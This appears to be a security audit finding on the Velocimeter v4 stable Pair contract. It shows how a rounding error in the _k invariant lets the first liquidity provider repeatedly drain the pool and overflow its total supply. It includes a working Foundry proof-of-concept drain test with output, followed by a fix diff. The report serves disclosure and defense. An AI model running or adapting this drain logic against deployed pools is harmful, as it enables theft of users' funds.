Macho Pine Lemur

High

# The first liquidity provider of a stable pair can DOS the pool

## Summary

The first liquidity provider of a stable pair can DOS the pair due to the rounding error inside the mint function.

## Vulnerability Detail

The invariant `k` of a stable pool is calculated as follows:

```Solidity
    function _k(uint x, uint y) internal view returns (uint) {
        if (stable) {
            uint _x = x * 1e18 / decimals0;
            uint _y = y * 1e18 / decimals1;
            uint _a = (_x * _y) / 1e18;
            uint _b = ((_x * _x) / 1e18 + (_y * _y) / 1e18);
            return _a * _b / 1e18;  // x3y+y3x >= k
        } else {
            return x * y; // xy >= k
        }
    }
```
The value of `_a = (x * y ) / 1e18` equals to 0 due to rounding error when `x * y < 1e18`. The rounding error can lead to the invariant `k` for stable pools equals zero, and the trader can steal whatever is left in the pool. 
The first liquidity provider can DOS the pair by: 

1. mint a small amount of liquidity to the pool, 
2. Steal whatever is left in the pool, 
3. Repeat step 1, and step 2 until the overflow of the total supply.

To prevent the issue of rounding error, the reserve of a pool should never go too small. The `mint()` function which was taken from uniswapV2 has a minimum liquidity check of 
`sqrt(a * b) > MINIMUM_LIQUIDITY`; This, however, isn't safe enough to protect the invariant formula of stable pools.

```Solidity
    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
        } else {
            liquidity = Math.min(_amount0 * _totalSupply / _reserve0, _amount1 * _totalSupply / _reserve1);
        }
...
    }
```

## Proof of Concept

Consider adding this test to `Pair.t.sol`:

```Solidity

    function drainPair(Pair _pair, uint initialFraxAmount, uint initialDaiAmount) internal {
        DAI.transfer(address(_pair), 1);
        uint amount0;
        uint amount1;
        if (address(DAI) < address(FRAX)) {
            amount0 = 0;
            amount1 = initialFraxAmount - 1;
        } else {
            amount1 = 0;
            amount0 = initialFraxAmount - 1;
        }
        _pair.swap(amount0, amount1, address(this), new bytes(0));
        FRAX.transfer(address(_pair), 1);
        if (address(DAI) < address(FRAX)) {
            amount0 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount1 = 0;
        } else {
            amount1 = initialDaiAmount; // initialDaiAmount + 1 - 1
            amount0 = 0;
        }
        _pair.swap(amount0, amount1, address(this), new bytes(0));
    }

    function testDestroyPair() public {

        deployCoins();
        deployPairFactoryAndRouter();
        deal(address(DAI), address(this), 100 ether);
        deal(address(FRAX), address(this), 100 ether);
        Pair pair1 = Pair(factory.createPair(address(DAI), address(FRAX), true));
        for(uint i = 0; i < 10; i++) {
        DAI.transfer(address(pair1), 10_000_000);
        FRAX.transfer(address(pair1), 10_000_000);
        // as long as 10_000_000^2 < 1e18
        uint liquidity = pair1.mint(address(this));
        console.log("pair:", address(pair), "liquidity:", liquidity);
        console.log("total liq:", pair1.balanceOf(address(this)));
        drainPair(pair1, FRAX.balanceOf(address(pair1)) , DAI.balanceOf(address(pair1)));
        console.log("DAI balance:", DAI.balanceOf(address(pair1)));
        console.log("FRAX balance:", FRAX.balanceOf(address(pair1)));
        require(DAI.balanceOf(address(pair1)) == 1, "should drain DAI balance");
        require(FRAX.balanceOf(address(pair1)) == 2, "should drain FRAX balance");
        }
        DAI.transfer(address(pair1), 1 ether);
        FRAX.transfer(address(pair1), 1 ether);
        vm.expectRevert();
        pair1.mint(address(this));
    }
```

Output:

```Markdown
Running 1 test for test/Pair.t.sol:PairTest
[PASS] testDestroyPair() (gas: 17686562)
Logs:
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 9999000
  total liq: 9999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 50000000000000
  total liq: 50000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 250000050000000000000
  total liq: 250000100000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 1250000500000050000000000000
  total liq: 1250000750000150000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 6250003750000750000050000000000000
  total liq: 6250005000001500000200000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 31250025000007500001000000050000000000000
  total liq: 31250031250012500002500000250000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 156250156250062500012500001250000050000000000000
  total liq: 156250187500093750025000003750000300000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 781250937500468750125000018750001500000050000000000000
  total liq: 781251093750656250218750043750005250000350000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 3906255468753281251093750218750026250001750000050000000000000
  total liq: 3906256250004375001750000437500070000007000000400000009999000
  DAI balance: 1
  FRAX balance: 2
  pair: 0xbF5f579f22533bFcc6723e0b50B3406A5cDf4394 liquidity: 19531281250021875008750002187500350000035000002000000050000000000000
  total liq: 19531285156278125013125003937500787500105000009000000450000009999000
  DAI balance: 1
  FRAX balance: 2

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.70ms

```

## Impact

First liquidity provider of a stable pair can DOS the pool and this would lead to stealing the funds until the overflow of the total supply

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/Pair.sol#L250

## Tool used

Manual Review

## Recommendation

Consider adding these two restrictions on the first lp of stable pools:
1. only allows equal amounts of liquidity.
2. invariant _k should be larger than the MINIMUM_K:

```diff
    uint256 internal constant MINIMUM_LIQUIDITY = 10**3;
+   uint256 internal constant MINIMUM_K = 10**10;

...

    function mint(address to) external lock returns (uint liquidity) {
        (uint _reserve0, uint _reserve1) = (reserve0, reserve1);
        uint _balance0 = IERC20(token0).balanceOf(address(this));
        uint _balance1 = IERC20(token1).balanceOf(address(this));
        uint _amount0 = _balance0 - _reserve0;
        uint _amount1 = _balance1 - _reserve1;

        uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
        if (_totalSupply == 0) {
            liquidity = Math.sqrt(_amount0 * _amount1) - MINIMUM_LIQUIDITY;
            _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
+           if (stable) {
+               require(
+                   (_amount0 * 1e18) / decimals0 == (_amount1 * 1e18) / decimals1,
+                   "Pair: stable deposits must be equal"
+               );
+               require(_k(_amount0, _amount1) > MINIMUM_K, "Pair: stable deposits must be above minimum k");
            }
```
